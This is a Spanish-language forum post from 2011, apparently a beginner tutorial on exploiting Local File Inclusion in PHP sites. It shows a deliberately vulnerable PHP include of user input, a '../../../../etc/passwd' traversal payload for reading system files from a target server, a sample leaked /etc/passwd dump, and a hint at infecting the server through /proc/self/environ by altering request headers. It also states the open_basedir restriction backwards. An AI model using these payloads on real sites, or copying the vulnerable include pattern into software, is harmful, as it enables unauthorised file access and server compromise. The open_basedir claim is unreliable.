Local File Inclusion

Iniciado por hielasangre, Agosto 27, 2011, 08:39:31 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Este paper lo escribí hace como 4 años mas o menos  O_O
Es algo básico pero creo que se entiende el concepto bastante bien.
[LFI]Local File Inclusion
Es un exploit que permite incluir archivos locales, como por ejemplo /etc/passwd <--- es el que se utiliza para probar si se puede explotar el sitio es vulnerable a lfi. un ejemplo vulnerable a LFI seria.

Código: php

<?php
$page = $_GET['page'];
include($page);
?>


$_GET es el metodo que utilizamos para recoger los valores o variables introducidas por el usuario, y se veria algo asi
Código: php
 view.php?file=EntradaUsuario

el resultado seria algo asi No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
esto incluria lo que el usuario le indica... es decir el archivo existente en la pagina actual. ahora teniendo un poco de concomiento acerca de como se produce el lfi Vamos a probar si entendimos los conceptos. No tienes permitido ver los links. Registrarse o Entrar a mi cuenta Esto debe incluir el archivo /etc/passwd en la página actual. El'../' significa subir un directorio. (seguro que si alguien uso dreamweaver le resultara familiar, a la hora de indicar donde se encuentra los archivos de la pagina) por lo general los directorios esta distribuidos de este modo "/home/nombredelhost/sitios/www.pagina.com/" y el archivo vulnerable (view.php)se encuentra en "/home/nombredelhost/sitios/www.pagina.com/file.php". como se imaginan /home/ es un directorio, /nombre del host/ es directorio, /sitios/ es directorio y /www.pagina.com/ tambien, lo que nos que hacer es ir al directorio raíz "/" en donde recine podremos tener acceso a /etc/Passwd Por lo tanto, en la url, para incluir el archivo /etc/passwd retrocedemos 4 directorios: ../../../../etc/passwd NOTA: si open_basedirrestriction estuviese desactivado este bug no funciona ya que solo permite incluir archivos ende su sitio y no del servidor.
  • Ejemplo: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

    Código: php

    root:x:0:0:root:/root:/bin/bash
    bin:x:1:1:bin:/bin:/sbin/nologin
    daemon:x:2:2:daemon:/sbin:/sbin/nologin
    adm:x:3:4:adm:/var/adm:/sbin/nologin
    lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
    sync:x:5:0:sync:/sbin:/bin/sync
    shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
    halt:x:7:0:halt:/sbin:/sbin/halt
    mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
    news:x:9:13:news:/etc/news:
    uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
    operator:x:11:0:operator:/root:/sbin/nologin
    games:x:12:100:games:/usr/games:/sbin/nologin
    gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
    ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
    nobody:x:99:99:Nobody:/:/sbin/nologin
    rpm:x:37:37::/var/lib/rpm:/sbin/nologin
    vcsa:x:69:69:virtual console memory
    owner:/dev:/sbin/nologin nscd:x:28:28:NSCD
    Daemon:/:/sbin/nologin sshd:x:74:74:Privilege-separated
    SSH:/var/empty/sshd:/sbin/nologin
    rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin
    rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
    nfsnobody:x:65534:65534:Anonymous
    NFS User:/var/lib/nfs:/sbin/nologin
    mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
    smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
    pcap:x:77:77::/var/arpwatch:/sbin/nologin
    mysql:x:500:500::/home/mysql:/sbin/nologin
    postgres:x:501:501::/home/postgres:/bin/bash
    mailadm:x:502:502::/home/mailadm:/sbin/nologin
    webmail:x:503:503::/home/webmail:/bin/bash
    lu:x:504:504::/home/lu:/bin/bash
    public:x:505:506::/home/www/publicpage:/bin/bash
    stu:x:506:508::/home1/stu:/bin/bash


Bueno :)

Tambien puedes infectar el servidor usando /proc/self/environ :P

Modificando las cabeceras ;)